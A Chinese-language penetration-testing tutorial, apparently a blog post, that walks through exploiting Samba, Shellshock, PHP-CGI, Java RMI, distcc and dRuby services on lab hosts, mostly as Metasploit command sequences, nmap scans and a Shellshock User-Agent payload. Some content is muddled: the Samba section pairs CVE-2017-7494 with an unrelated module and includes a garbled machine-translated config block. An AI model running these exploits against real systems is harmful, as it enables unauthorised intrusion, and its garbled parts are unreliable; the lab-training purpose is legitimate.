據我所知,Linux因為開源的原因,不論是性能還是安全都是足夠強大的。這里就盡我所能寫一下自己所知道的漏洞吧。
CVE-2017-7494 (linux samba漏洞,139和445端口)、 CVE-2014-6271(bash shellshock破殼)、PHP cgi、cve-2013-0422(Java RMI SERVER 命令執行漏洞與java,1099端口)、CVE-2004-2678、OSVDB-13378(Distcc后門漏洞)、Druby命令執行(8787端口)
samba漏洞
Samba是在Linux和UNIX系統上實現SMB協議的一個免費軟件,由服務器及客戶端程序構成,samba服務對應的端口有139、445等等
1、首先要掃描目標主機上開放的端口和服務,用nmap,命令如下:
nmap -sS -Pn -A 192.168.17.72
2、發現主機上開放的139,445端口之后,說明該主機有可能存在samba服務遠程溢出漏洞,嘗試通過該端口建立一個meterpreter 會話,需要用到metasploit.
CVE2017-7494測試
漏洞編號:CVE-2017-7494
漏洞等級:嚴重
影響版本:漏洞影響了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14
靶機samba漏洞配置
samba -v查看版本
vi /etc/samba/smb.conf
#======================= Share Definitions ======================= [public] comment = public browseable = yes writeable =yes path = /tmp/public public = yes read only = no
(公用)
注釋=公共
可瀏覽= yes
可寫= yes
= / tmp /公共道路
公共= yes
只讀=不
創建共享目錄 root@kali:~# mkdir /tmp/public 修改讀寫執行權限 root@kali:~# chmod 777 /tmp/public
Kali Linux 2017 重啟/啟動Samba服務
重啟samba服務 root@kali:~# /etc/init.d/samba restart 查看samba進程 root@kali:~# ps aux | grep samba 查看samba端口狀態(默認采用139和445端口) root@kali:~# netstat -tnlp samba
MSF滲透測試
1、打開metasploit之后需要先判斷samba的版本,命令如下:
msf> search scanner/samba
這條命令用來查找samba相關exploit參數
2、然后使用如下命令來定義要掃描samba的版本所用到的exploits參數。
msf> use auxiliary/scanner/smb/smb_version msfauxiliary(smb_version) > set RHOSTS 192.168.0.102
ps:poc可能會存在64位和32位之分,所以可以添加一下操作
set target 3
set rhosts rport139,445
ps:payload和端口其實已經自動設置
這條命令定義你將要掃描samba版本的遠程主機的IP地址.
3、開始漏洞利用
exploit
該命令將開始漏洞利用
4、發現samba版本之后,我們需要進一步利用來入侵進入到遠程linux主機
msf> use exploit/multi/samba/usermap_script msf exploit(usermap_script) > set RHOST 192.168.0.102 msf exploit(usermap_script) > exploit
執行完成以上命令如圖所示,成功創建了shell 會話.
metepreter滲透后操作
這里就不講了,可查看msf篇
bash破殼漏洞
CVE-2014-6271(破殼)
Shellshock的原理是利用了Bash在導入環境變量函數時候的漏洞,啟動Bash的時候,它不但會導入這個函數,而且也會把函數定義后面的命令執行。在有些CGI腳本的設計中,數據是通過環境變量來傳遞的,這樣就給了數據提供者利用Shellshock漏洞的機會。
簡單來說就是由於服務器的cgi腳本調用了bash命令,由於bash版本過低,攻擊者把有害數據寫入環境變量,傳到服務器端,觸發服務器運行Bash腳本,完成攻擊。
對方web站點使用了cgi的表現:www.xxx.com/cgi-xxx/xxx
起始,cgi的漏洞遠不止此!
開始滲透測試
burpsuit漏洞驗證
將user-agent頭改為:() { :;};echo ; echo;echo $(/bin/ls -al /flag /);
kali系統漏洞驗證
由於kali中的msf關於這個漏洞沒做好,不太方便,就不演示了。
cd /usr/bin/
cd /usr/lib/cgi-bin/
vim hole.sh(編寫腳本)
msf測試:
set TARGETURL 網站路徑
CVE2012-1823(phpCGI漏洞)
phpinfo()查看:
可以看出,系統中API開啟了CGI/FastCGI。那么就有可能存在phpCGI漏洞了
開始kali攻擊(照舊)
msf > search cve:2012-1823 msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > show options msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102 rhost => 192.168.0.102 msf exploit(php_cgi_arg_injection) > run
CVE2013-0422(Java RMI SERVER 命令執行漏洞與java)
Java RMI SERVER 的 RMI 注冊表和 RMI 激活服務的默認配置存在安全漏洞,導致代碼執行。
利用步驟:
nmap -p 0-65535 IP ,查看1099端口是否開啟 use exploit/multi/misc/java_rmi_server set RHOST IP exploit shell(進入meterpreter 時執行)
Distcc后門漏洞
安全組織索引:CVE-2004-2678、OSVDB-13378
該漏洞在國內不常見
原理:
Distcc用於大量代碼在網絡服務器上的分布式編譯,但是如果配置不嚴格,容易被濫用執行命令,該漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置對於服務器端口的訪問不限制
利用步驟:
啟動metasploit use exploit/unix/misc/distcc_exec set RHOST IP exploit id 查看權限 uname -a 驗證
Druby命令執行(8787)
Druby配置不當,被濫用執行命令
利用步驟:
啟動metasploit 發現8787 Druby端口 search drb 搜索drb相關漏洞 use exploit/linux/misc/drb_remote_codeexec set URL druby:IP:8787 ,設置目標druby鏈接 exploit id,uname -a